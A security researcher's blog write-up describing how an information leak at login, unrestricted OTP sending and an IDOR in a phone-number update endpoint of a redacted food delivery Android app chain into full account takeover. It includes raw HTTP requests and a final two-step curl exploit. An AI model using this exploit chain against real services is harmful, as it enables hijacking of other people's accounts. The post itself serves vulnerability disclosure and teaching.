IDOR leads to account takeover

Reading time ~5 minutes

TL;DR

Insecure Direct Object Reference with an OTP abuse bug led to full account takeover.

Things to Note

  • Read the Disclaimer before reading this post.
  • I can’t really talk about the android app, because of it’s private nature. So I’ve redacted a couple of things like the domain, auth tokens and stuff like that, but you should be able to understand how this bug works.

Introduction

The app that I tested was a food delivery app. As usual, we get to have an account of our own, we can order food from different restaurants and stuff like that. After finding an SQL injection on the site, I wanted to find a “not so common bug”. So I started looking around and I actually found an Insecure Direct Object Reference(IDOR) vulnerability and with a little more work, I could completely takeover any account. I’ve broken down these steps into multiple sections, so you guys can understand it better.

Stage 1 - Information Disclosure

When I was looking at the login mechanism of the app, I noticed that the app was receiving some sensitive data back, even if the authentication failed.

Request

POST /auth HTTP/1.1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
User-Agent: Dalvik/2.1.0 (Linux; U; Android 6.0.1; ONE A2003 Build/MOB31E)
Host: ████████████████.com
Connection: close
Accept-Encoding: gzip, deflate
Content-Length: 86

user_email=s0cket7@s0cket7.com&user_passwd=this-is-not-a-valid-password&user_auth=true

Response

HTTP/1.1 200 OK
Server: nginx/1.10.3 (Ubuntu)
Date: Thu, 16 Aug 2018 16:55:27 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 151

{
  "user_data": [
    {
      "auth_status": "true",
      "USER_ID": "123456",
      "USER_NAME": "Socket Seven",
      "EMAIL": "s0cket7@s0cket7.com",
      "PHONE": "0123456789",
      "USER_IMAGE": null
    }
  ]
}

As you can see, there’s the PHONE key in the JSON response which has the phone number as the value of it. Clearly Information Disclosure, but let’s keep digging. I noticed that there was this USER_ID key, and kept it in the back of my head.

And YES I see the Content-Type: text/html; charset=UTF-8, I could trigger an XSS via my USER_NAME or something, but this is an android app, I don’t want to popup alerts on their API domains.

Stage 2 - OTP Abuse

Since I wanted to takeover the account, I thought I could abuse the password reset functionality. I looked at it and it required a phone number, to which an OTP would be sent to. I believe it didn’t have any rate limiting, but it sure had the time limit of about 60 seconds. I thought I could bruteforce since the OTP was only 4 digits, but it’s something obvious to try, so I thought let’s look for some other way and if I ran out of ideas, then maybe fallback to this one. Alright now I wanted to somehow get the OTP of another user, I looked at it and tried a bunch of ways, it didn’t work. But I noticed that I could send OTPs to any number I want randomly. So I sent a request to my number and received an OTP.

Request

POST /otp HTTP/1.1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
User-Agent: Dalvik/2.1.0 (Linux; U; Android 6.0.1; ONE A2003 Build/MOB31E)
Host: ████████████████.com
Connection: close
Accept-Encoding: gzip, deflate
Content-Length: 34

up_ph=0987654321&upph_request=true

Response

HTTP/1.1 200 OK
Server: nginx/1.10.3 (Ubuntu)
Date: Thu, 16 Aug 2018 16:55:27 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 19

true

Ok can’t do much now either, and I just did more recon thinking that this could help somewhere else.

Stage 3 - IDOR in Preferences

When I was looking at the settings activity, I saw that I could change my phone number. So I quickly tried to change it, but the catch was whenever you try to change the phone number, you’d get another OTP with which you have to verify the phone number. I went through my burp history, saw that there were 2 requests made to the server to verify and update the phone number.

  1. A request was made to generate a new OTP and send a SMS to the phone.
  2. Verification request was made, if the OTP was correct, it would update the phone number.

The 1st request looked exactly like the Stage-2.

Request

POST /otp HTTP/1.1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
User-Agent: Dalvik/2.1.0 (Linux; U; Android 6.0.1; ONE A2003 Build/MOB31E)
Host: ████████████████.com
Connection: close
Accept-Encoding: gzip, deflate
Content-Length: 34

up_ph=0987654321&upph_request=true

Response

HTTP/1.1 200 OK
Server: nginx/1.10.3 (Ubuntu)
Date: Thu, 16 Aug 2018 16:59:12 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 19

true

The 2nd request looked something like this.

Request

POST /update HTTP/1.1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
User-Agent: Dalvik/2.1.0 (Linux; U; Android 6.0.1; ONE A2003 Build/MOB31E)
Host: ████████████████.com
Connection: close
Accept-Encoding: gzip, deflate
Content-Length: 67

up_uid=123456&upvf_ph=0987654321&user_nme_update=true&upvf_pin=8859

Response

HTTP/1.1 200 OK
Server: nginx/1.10.3 (Ubuntu)
Date: Thu, 16 Aug 2018 17:12:56 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 19

true

As you can see in the request it takes in up_uid which has the value of 123456. We can also see the same User-ID in the Stage-1 response. So I simply changed the up_uid to one of my other test account and replayed the request with a new otp. And it did change the phone number of my other account. This is a classic IDOR issue. The server blindly updates the phone number of the account via the up_uid parameter.

So now I could simply generate an OTP with the Stage-2 request and change the phone number using the IDOR bug from the Stage-3.

Final Exploit

# Generate OTP
curl -i -s -k  -X $'POST' \
  -H $'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' \
  -H $'User-Agent: Dalvik/2.1.0 (Linux; U; Android 6.0.1; ONE A2003 Build/MOB31E)' \
  -H $'Host: REDACTED.com' \
  -H $'Connection: close' \
  -H $'Accept-Encoding: gzip, deflate' \
  -H $'Content-Length: 34' \
  --data-binary $'up_ph=[NEW NUMBER]&upph_request=true' \
  $'https://REDACTED.com/otp';
# IDOR 
curl -i -s -k  -X $'POST' \
  -H $'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' \
  -H $'User-Agent: Dalvik/2.1.0 (Linux; U; Android 6.0.1; ONE A2003 Build/MOB31E)' \
  -H $'Host: REDACTED.com' \
  -H $'Connection: close' \
  -H $'Accept-Encoding: gzip, deflate' \
  -H $'Content-Length: 67' \
  --data-binary $'up_uid=[USER_ID]&upvf_ph=[NEW NUMBER]&user_nme_update=true&upvf_pin=[OTP]' \
  $'https://REDACTED.com/update'

In the end we can do a simple forgot password and provide the new number which was updated to the victim’s account and reset the password. Erogo account takeover.


That’s all for now folks. Thank you for reading. Have a great day :)

– s0cket7

Pico CTF 2018 Web Exploitation Writeup

A writeup of all 18 Web Challenges from PicoCTF Continue reading

Open Redirect Vulnerability

Published on August 15, 2018

Beginner Linux CTF Walk-through

Published on August 11, 2018